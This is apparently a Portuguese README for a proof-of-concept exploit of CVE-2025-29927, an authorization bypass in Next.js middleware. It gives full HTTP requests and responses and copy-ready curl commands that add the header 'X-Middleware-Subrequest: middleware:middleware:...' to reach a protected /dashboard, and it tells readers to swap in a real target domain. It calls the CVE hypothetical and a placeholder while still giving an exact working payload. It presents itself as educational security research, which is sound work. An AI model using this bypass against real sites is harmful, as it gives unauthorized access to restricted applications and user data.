
Bypass de Autorização no Middleware do Next.js
Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-29927, uma vulnerabilidade hipotética que demonstra uma falha no tratamento de middleware dentro de uma aplicação web. A PoC ilustra como uma requisição HTTP especialmente elaborada pode contornar a lógica de redirecionamento para acessar conteúdo restrito, como um painel de controle. Este projeto foi projetado apenas para fins educacionais e de pesquisa em segurança.
Aviso: Esta PoC é destinada ao uso em ambientes controlados com permissão explícita. Testes não autorizados contra sistemas que você não possui ou sem consentimento para testar são ilegais e antiéticos.
Para seguir esta PoC, você precisará de:
abc.com) executando uma configuração vulnerável (software/versão específicos a definir com base nos detalhes do CVE).curl (curl.se), Burp Suite (portswigger.net/burp) ou um script personalizado.CVE-2025-29927 (placeholder; substitua pelos detalhes oficiais do CVE quando disponíveis) parece explorar uma configuração incorreta de middleware ou uma falha de lógica. A PoC demonstra que adicionar um cabeçalho personalizado (X-Middleware-Subrequest) altera o comportamento do servidor, contornando um mecanismo de redirecionamento para acessar conteúdo restrito. Isso provavelmente está relacionado à forma como o middleware (ex.: Nginx com Next.js) processa subrequisições ou valida cabeçalhos.
Para mais informações sobre vulnerabilidades de middleware, consulte OWASP Middleware Security.
A PoC consiste em duas etapas: uma requisição inicial sem sucesso e uma requisição modificada bem-sucedida. Cada etapa inclui a requisição HTTP, a resposta e uma explicação detalhada.
Esta etapa demonstra o comportamento padrão do servidor ao acessar o endpoint /dashboard sem cabeçalhos adicionais.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Tenta acessar o endpoint do dashboard.User-Agent e Accept imitam uma requisição típica de navegador.307 Temporary Redirect: Indica que o servidor redireciona o cliente, provavelmente devido a lógica de autenticação, autorização ou roteamento (ex.: redirecionando para uma página de login).Server: nginx/1.14.1: Identifica o software do servidor web./dashboard. A ausência de um cabeçalho Location nesta resposta (possivelmente omitido por brevidade) implica que o destino do redirecionamento está em outro lugar.Esta etapa introduz um cabeçalho personalizado para contornar o redirecionamento, recuperando com sucesso o conteúdo do dashboard.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Um cabeçalho personalizado adicionado à requisição original. A string middleware repetida pode explorar uma falha de análise ou validação na pilha de middleware.200 OK: Confirma o acesso bem-sucedido ao conteúdo do dashboard.Content-Type: text/html; charset=utf-8: Indica uma resposta HTML, provavelmente a página do dashboard.X-Powered-By: Next.js: Sugere que a aplicação usa Next.js, um framework React que frequentemente depende de middleware para roteamento.Cache-Control: Impede o cache, típico de conteúdo dinâmico e específico do usuário.Content-Length: 30174: Tamanho do corpo da resposta em bytes.X-Middleware-Subrequest provavelmente engana o middleware fazendo-o tratar a requisição como uma subrequisição legítima, contornando a lógica de redirecionamento. Isso pode indicar uma vulnerabilidade na forma como as subrequisições são validadas ou processadas.Siga estas etapas para reproduzir a PoC usando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Saída Esperada: Uma resposta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Saída Esperada: Uma resposta 200 OK com o conteúdo do dashboard.
Nota: Substitua abc.com pelo domínio alvo real se estiver testando em um ambiente autorizado.
curl em requisições HTTP.Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.